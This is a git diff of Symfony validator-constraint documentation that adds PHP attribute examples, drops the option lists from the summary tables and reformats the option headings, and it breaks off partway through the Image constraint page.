diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index 582f93aeac8..4802e06392b 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -6,10 +6,6 @@ that can be cast into a string) that follows a specific format.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `format`_
-            - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\DateTime`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\DateTimeValidator`
 ==========  ===================================================================
@@ -35,6 +31,22 @@ Basic Usage
             protected $createdAt;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            /**
+             * @var string A "Y-m-d H:i:s" formatted value
+             */
+            #[Assert\DateTime]
+            protected $createdAt;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -84,8 +96,8 @@ Basic Usage
 Options
 -------
 
-format
-~~~~~~
+``format``
+~~~~~~~~~~
 
 **type**: ``string`` **default**: ``Y-m-d H:i:s``
 
diff --git a/reference/constraints/DivisibleBy.rst b/reference/constraints/DivisibleBy.rst
index 4503959aa57..2c1fdb4fe87 100644
--- a/reference/constraints/DivisibleBy.rst
+++ b/reference/constraints/DivisibleBy.rst
@@ -11,11 +11,6 @@ Validates that a value is divisible by another value, defined in the options.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\DivisibleBy`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\DivisibleByValidator`
 ==========  ===================================================================
@@ -39,7 +34,6 @@ The following constraints ensure that:
 
         class Item
         {
-
             /**
              * @Assert\DivisibleBy(0.25)
              */
@@ -53,6 +47,24 @@ The following constraints ensure that:
             protected $quantity;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Item.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Item
+        {
+            #[Assert\DivisibleBy(0.25)]
+            protected $weight;
+
+            #[Assert\DivisibleBy(
+                value: 5,
+            )]
+            protected $quantity;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -111,8 +123,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be a multiple of {{ compared_value }}.``
 
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 468051004a0..ddf462ef6b4 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -6,11 +6,6 @@ cast to a string before being validated.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `mode`_
-            - `normalizer`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Email`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\EmailValidator`
 ==========  ===================================================================
@@ -37,6 +32,21 @@ Basic Usage
             protected $email;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Email(
+                message: 'The email {{ value }} is not a valid email.',
+            )]
+            protected $email;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -88,8 +98,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid email address.``
 
@@ -108,34 +118,26 @@ Parameter        Description
 
     The ``{{ label }}`` parameter was introduced in Symfony 5.2.
 
-mode
-~~~~
-
-**type**: ``string`` **default**: ``loose``
-
-This option is optional and defines the pattern the email address is validated against.
-Valid values are:
-
-* ``loose``
-* ``strict``
-* ``html5``
-
-loose
-.....
+.. _reference-constraint-email-mode:
 
-A simple regular expression. Allows all values with an "@" symbol in, and a "."
-in the second host part of the email address.
+``mode``
+~~~~~~~~
 
-strict
-......
+**type**: ``string`` **default**: (see below)
 
-Uses the `egulias/email-validator`_ library to perform an RFC compliant
-validation. You will need to install that library to use this mode.
+This option defines the pattern used to validate the email address. Valid values are:
 
-html5
-.....
+* ``loose`` uses a simple regular expression (just checks that at least one ``@``
+  character is present, etc.). This validation is too simple and it's recommended
+  to use one of the other modes instead;
+* ``html5`` uses the same regular expression as the `HTML5 email input element`_,
+  making the backend validation consistent with the one provided by browsers;
+* ``strict`` uses the `egulias/email-validator`_ library (which you must
+  install separately) for validation according to `RFC 5322`_.
 
-This matches the pattern used for the `HTML5 email input element`_.
+The default value used by this option is set in the
+:ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>`
+configuration option.
 
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
@@ -143,3 +145,4 @@ This matches the pattern used for the `HTML5 email input element`_.
 
 .. _egulias/email-validator: https://packagist.org/packages/egulias/email-validator
 .. _HTML5 email input element: https://www.w3.org/TR/html5/sec-forms.html#valid-e-mail-address
+.. _RFC 5322: https://tools.ietf.org/html/rfc5322
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index 153d13a3098..06578c27c19 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -13,11 +13,6 @@ To force that a value is *not* equal, see :doc:`/reference/constraints/NotEqualT
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\EqualTo`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\EqualToValidator`
 ==========  ===================================================================
@@ -52,6 +47,24 @@ and that the ``age`` is ``20``, you could do the following:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\EqualTo('Mary')]
+            protected $firstName;
+
+            #[Assert\EqualTo(
+                value: 20,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 2ed816f3a03..65a38efb415 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -9,11 +9,6 @@ gives you similar flexibility.
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>`
             or :ref:`property/method <validation-property-target>`
-Options     - :ref:`expression <reference-constraint-expression-option>`
-            - `groups`_
-            - `message`_
-            - `payload`_
-            - `values`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Expression`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionValidator`
 ==========  ===================================================================
@@ -78,6 +73,22 @@ One way to accomplish this is with the Expression constraint:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Model/BlogPost.php
+        namespace App\Model;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[Assert\Expression(
+            "this.getCategory() in ['php', 'symfony'] or !this.isTechnicalPost()",
+            message: 'If this is a tech post, the category should be either php or symfony!',
+        )]
+        class BlogPost
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -163,6 +174,26 @@ more about the expression language syntax, see
                 // ...
             }
 
+        .. code-block:: php-attributes
+
+            // src/Model/BlogPost.php
+            namespace App\Model;
+
+            use Symfony\Component\Validator\Constraints as Assert;
+
+            class BlogPost
+            {
+                // ...
+
+                #[Assert\Expression(
+                    "this.getCategory() in ['php', 'symfony'] or value == false",
+                    message: 'If this is a tech post, the category should be either php or symfony!',
+                )]
+                private $isTechnicalPost;
+
+                // ...
+            }
+
         .. code-block:: yaml
 
             # config/validator/validation.yaml
@@ -269,8 +300,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-values
-~~~~~~
+``values``
+~~~~~~~~~~
 
 **type**: ``array`` **default**: ``[]``
 
@@ -299,6 +330,24 @@ type (numeric, boolean, strings, null, etc.)
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Model/Analysis.php
+        namespace App\Model;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Analysis
+        {
+            #[Assert\Expression(
+                'value + error_margin < threshold',
+                values: ['error_margin' => 0.25, 'threshold' => 1.5],
+            )]
+            private $metric;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
index 2ca0355dfaf..6dfb7cbc420 100644
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ b/reference/constraints/ExpressionLanguageSyntax.rst
@@ -10,10 +10,6 @@ expression.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowedVariables`_
-            - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionLanguageSyntax`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionLanguageSyntaxValidator`
 ==========  ===================================================================
@@ -40,18 +36,36 @@ The following constraints ensure that:
         class Order
         {
             /**
-             * @Assert\ExpressionLanguageSyntax()
+             * @Assert\ExpressionLanguageSyntax
              */
             protected $promotion;
 
             /**
              * @Assert\ExpressionLanguageSyntax(
-             *     allowedVariables = ['user', 'shipping_centers']
+             *     allowedVariables={"user", "shipping_centers"}
              * )
              */
             protected $shippingOptions;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\ExpressionLanguageSyntax]
+            protected $promotion;
+
+            #[Assert\ExpressionLanguageSyntax(
+                allowedVariables: ['user', 'shipping_centers'],
+            )]
+            protected $shippingOptions;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -77,7 +91,10 @@ The following constraints ensure that:
                 </property>
                 <property name="shippingOptions">
                     <constraint name="ExpressionLanguageSyntax">
-                        <option name="allowedVariables">['user', 'shipping_centers']</option>
+                        <option name="allowedVariables">
+                            <value>user</value>
+                            <value>shipping_centers</value>
+                        </option>
                     </constraint>
                 </property>
             </class>
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index f1a27ac8f20..1eaed6075d0 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -11,31 +11,13 @@ Validates that a value is a valid "file", which can be one of the following:
 This constraint is commonly used in forms with the :doc:`FileType </reference/forms/types/file>`
 form field.
 
-.. tip::
+.. seealso::
 
     If the file you're validating is an image, try the :doc:`Image </reference/constraints/Image>`
     constraint.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `binaryFormat`_
-            - `disallowEmptyMessage`_
-            - `groups`_
-            - `maxSize`_
-            - `maxSizeMessage`_
-            - `mimeTypes`_
-            - `mimeTypesMessage`_
-            - `notFoundMessage`_
-            - `notReadableMessage`_
-            - `payload`_
-            - `uploadCantWriteErrorMessage`_
-            - `uploadErrorMessage`_
-            - `uploadExtensionErrorMessage`_
-            - `uploadFormSizeErrorMessage`_
-            - `uploadIniSizeErrorMessage`_
-            - `uploadNoFileErrorMessage`_
-            - `uploadNoTmpDirErrorMessage`_
-            - `uploadPartialErrorMessage`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\File`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\FileValidator`
 ==========  ===================================================================
@@ -93,6 +75,23 @@ below a certain file size and a valid PDF, add the following:
             protected $bioFile;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\File(
+                maxSize: '1024k',
+                mimeTypes: ['application/pdf', 'application/x-pdf'],
+                mimeTypesMessage: 'Please upload a valid PDF',
+            )]
+            protected $bioFile;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -158,8 +157,8 @@ have been specified.
 Options
 -------
 
-binaryFormat
-~~~~~~~~~~~~
+``binaryFormat``
+~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``null``
 
@@ -171,8 +170,8 @@ the value defined in the ``maxSize`` option.
 For more information about the difference between binary and SI prefixes,
 see `Wikipedia: Binary prefix`_.
 
-disallowEmptyMessage
-~~~~~~~~~~~~~~~~~~~~
+``disallowEmptyMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``An empty file is not allowed.``
 
@@ -190,8 +189,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-maxSize
-~~~~~~~
+``maxSize``
+~~~~~~~~~~~
 
 **type**: ``mixed``
 
@@ -212,8 +211,8 @@ Suffix  Unit Name  Value            Example
 For more information about the difference between binary and SI prefixes,
 see `Wikipedia: Binary prefix`_.
 
-maxSizeMessage
-~~~~~~~~~~~~~~
+``maxSizeMessage``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is too large ({{ size }} {{ suffix }}). Allowed maximum size is {{ limit }} {{ suffix }}.``
 
@@ -231,8 +230,8 @@ Parameter         Description
 ``{{ suffix }}``  Suffix for the used file size unit (see above)
 ================  =============================================================
 
-mimeTypes
-~~~~~~~~~
+``mimeTypes``
+~~~~~~~~~~~~~
 
 **type**: ``array`` or ``string``
 
@@ -252,8 +251,8 @@ You can find a list of existing mime types on the `IANA website`_.
     (i.e. the form type is not defined explicitly in the ``->add()`` method of
     the form builder) and when the field doesn't define its own ``accept`` value.
 
-mimeTypesMessage
-~~~~~~~~~~~~~~~~
+``mimeTypesMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.``
 
@@ -271,8 +270,8 @@ Parameter        Description
 ``{{ types }}``  The list of allowed MIME types
 ===============  ==============================================================
 
-notFoundMessage
-~~~~~~~~~~~~~~~
+``notFoundMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file could not be found.``
 
@@ -288,8 +287,8 @@ Parameter        Description
 ``{{ file }}``   Absolute file path
 ===============  ==============================================================
 
-notReadableMessage
-~~~~~~~~~~~~~~~~~~
+``notReadableMessage``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is not readable.``
 
@@ -306,8 +305,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-uploadCantWriteErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadCantWriteErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``Cannot write temporary file to disk.``
 
@@ -316,8 +315,8 @@ temporary folder.
 
 This message has no parameters.
 
-uploadErrorMessage
-~~~~~~~~~~~~~~~~~~
+``uploadErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file could not be uploaded.``
 
@@ -326,8 +325,8 @@ for some unknown reason.
 
 This message has no parameters.
 
-uploadExtensionErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadExtensionErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``A PHP extension caused the upload to fail.``
 
@@ -336,8 +335,8 @@ fail.
 
 This message has no parameters.
 
-uploadFormSizeErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadFormSizeErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is too large.``
 
@@ -346,8 +345,8 @@ by the HTML file input field.
 
 This message has no parameters.
 
-uploadIniSizeErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadIniSizeErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is too large. Allowed maximum size is {{ limit }} {{ suffix }}.``
 
@@ -363,8 +362,8 @@ Parameter         Description
 ``{{ suffix }}``  Suffix for the used file size unit (see above)
 ================  =============================================================
 
-uploadNoFileErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadNoFileErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``No file was uploaded.``
 
@@ -372,8 +371,8 @@ The message that is displayed if no file was uploaded.
 
 This message has no parameters.
 
-uploadNoTmpDirErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadNoTmpDirErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``No temporary folder was configured in php.ini.``
 
@@ -382,8 +381,8 @@ missing.
 
 This message has no parameters.
 
-uploadPartialErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadPartialErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file was only partially uploaded.``
 
diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index d27017fdbe5..22331edd957 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -8,11 +8,6 @@ than another value, see :doc:`/reference/constraints/LessThan`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThan`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator`
 ==========  ===================================================================
@@ -49,6 +44,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\GreaterThan(5)]
+            protected $siblings;
+
+            #[Assert\GreaterThan(
+                value: 18,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -126,6 +139,19 @@ that a date must at least be the next day:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThan('today')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -185,6 +211,19 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThan('today UTC')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -245,6 +284,19 @@ current time:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThan('+5 hours')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index 8a054e6bbb9..79578c5a5f7 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -7,11 +7,6 @@ the options. To force that a value is greater than another value, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqual`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator`
 ==========  ===================================================================
@@ -48,6 +43,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\GreaterThanOrEqual(5)]
+            protected $siblings;
+
+            #[Assert\GreaterThanOrEqual(
+                value: 18,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -125,6 +138,19 @@ that a date must at least be the current day:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThanOrEqual('today')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -184,6 +210,19 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThanOrEqual('today UTC')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -244,6 +283,19 @@ current time:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\GreaterThanOrEqual('+5 hours')]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst
index 9e67fb3c8fc..56182fafc9a 100644
--- a/reference/constraints/Hostname.rst
+++ b/reference/constraints/Hostname.rst
@@ -11,10 +11,6 @@ function).
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `requireTld`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Hostname`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\HostnameValidator`
 ==========  ===================================================================
@@ -42,6 +38,19 @@ will contain a host name.
             protected $name;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/ServerSettings.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class ServerSettings
+        {
+            #[Assert\Hostname(message: 'The server name must be a valid hostname.')]
+            protected $name;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -122,7 +131,7 @@ Parameter        Description
 ``requireTld``
 ~~~~~~~~~~~~~~
 
-**type**: ``bool`` **default**: ``true``
+**type**: ``boolean`` **default**: ``true``
 
 By default, hostnames are considered valid only when they are fully qualified
 and include their TLDs (top-level domain names). For instance, ``example.com``
diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index 709270f7b12..7c8ee5ab060 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -8,9 +8,6 @@ borders with a reduced risk of propagating transcription errors.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Iban`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IbanValidator`
 ==========  ===================================================================
@@ -40,6 +37,21 @@ will contain an International Bank Account Number.
             protected $bankAccountNumber;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Transaction.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Transaction
+        {
+            #[Assert\Iban(
+                message: 'This is not a valid International Bank Account Number (IBAN).',
+            )]
+            protected $bankAccountNumber;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 10f1fb52342..f5b2644e3a9 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -13,11 +13,6 @@ To force that a value is *not* identical, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\IdenticalTo`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IdenticalToValidator`
 ==========  ===================================================================
@@ -54,6 +49,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\IdenticalTo('Mary')]
+            protected $firstName;
+
+            #[Assert\IdenticalTo(
+                value: 20,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index e8b492bf4ae..408341427db 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -13,35 +13,6 @@ of the documentation on this constraint.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowLandscape`_
-            - `allowLandscapeMessage`_
-            - `allowPortrait`_
-            - `allowPortraitMessage`_
-            - `allowSquare`_
-            - `allowSquareMessage`_
-            - `corruptedMessage`_
-            - `detectCorrupted`_
-            - `groups`_
-            - `maxHeight`_
-            - `maxHeightMessage`_
-            - `maxPixels`_
-            - `maxPixelsMessage`_
-            - `maxRatio`_
-            - `maxRatioMessage`_
-            - `maxWidth`_
-            - `maxWidthMessage`_
-            - `mimeTypes`_
-            - `mimeTypesMessage`_
-            - `minHeight`_
-            - `minHeightMessage`_
-            - `minPixels`_
-            - `minPixelsMessage`_
-            - `minRatio`_
-            - `minRatioMessage`_
-            - `minWidth`_
-            - `minWidthMessage`_
-            - `sizeNotDetectedMessage`_
-            - See :doc:`File </reference/constraints/File>` for inherited options
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Image`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ImageValidator`
 ==========  ===================================================================
@@ -100,6 +71,24 @@ that it is between a certain size, add the following:
             protected $headshot;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Image(
+                minWidth: 200,
+                maxWidth: 400,
+                minHeight: 200,
+                maxHeight: 400,
+            )]
+            protected $headshot;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -180,6 +169,22 @@ following code:
             protected $headshot;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Image(
+                allowLandscape: false,
+                allowPortrait: false,
+            )]
+            protected $headshot;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -230,15 +235,15 @@ This constraint shares all of its options with the :doc:`File </reference/constr
 constraint. It does, however, modify two of the default option values and
 add several other options.
 
-allowLandscape
-~~~~~~~~~~~~~~
+``allowLandscape``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``true``
 
 If this option is false, the image cannot be landscape oriented.
 
-allowLandscapeMessage
-~~~~~~~~~~~~~~~~~~~~~
+``allowLandscapeMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image is landscape oriented ({{ width }}x{{ height }}px).
 Landscape oriented images are not allowed``
@@ -254,15 +259,15 @@ Parameter         Description
 ``{{ width }}``   The current width
 ================  =============================================================
 
-allowPortrait
-~~~~~~~~~~~~~
+``allowPortrait``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``true``
 
 If this option is false, the image cannot be portrait oriented.
 
-allowPortraitMessage
-~~~~~~~~~~~~~~~~~~~~
+``allowPortraitMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image is portrait oriented ({{ width }}x{{ height }}px).
 Portrait oriented images are not allowed``
@@ -278,8 +283,8 @@ Parameter         Description
 ``{{ width }}``   The current width
 ================  =============================================================
 
-allowSquare
-~~~~~~~~~~~
+``allowSquare``
+~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``true``
 
@@ -287,8 +292,8 @@ If this option is false, the image cannot be a square. If you want to force
 a square image, then leave this option as its default ``true`` value
 and set `allowLandscape`_ and `allowPortrait`_ both to ``false``.
 
-allowSquareMessage
-~~~~~~~~~~~~~~~~~~
+``allowSquareMessage``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image is square ({{ width }}x{{ height }}px).
 Square images are not allowed``
@@ -304,8 +309,8 @@ Parameter         Description
 ``{{ width }}``   The current width
 ================  =============================================================
 
-corruptedMessage
-~~~~~~~~~~~~~~~~
+``corruptedMessage``
+~~~~~~~~~~~~~~~~~~~~
 
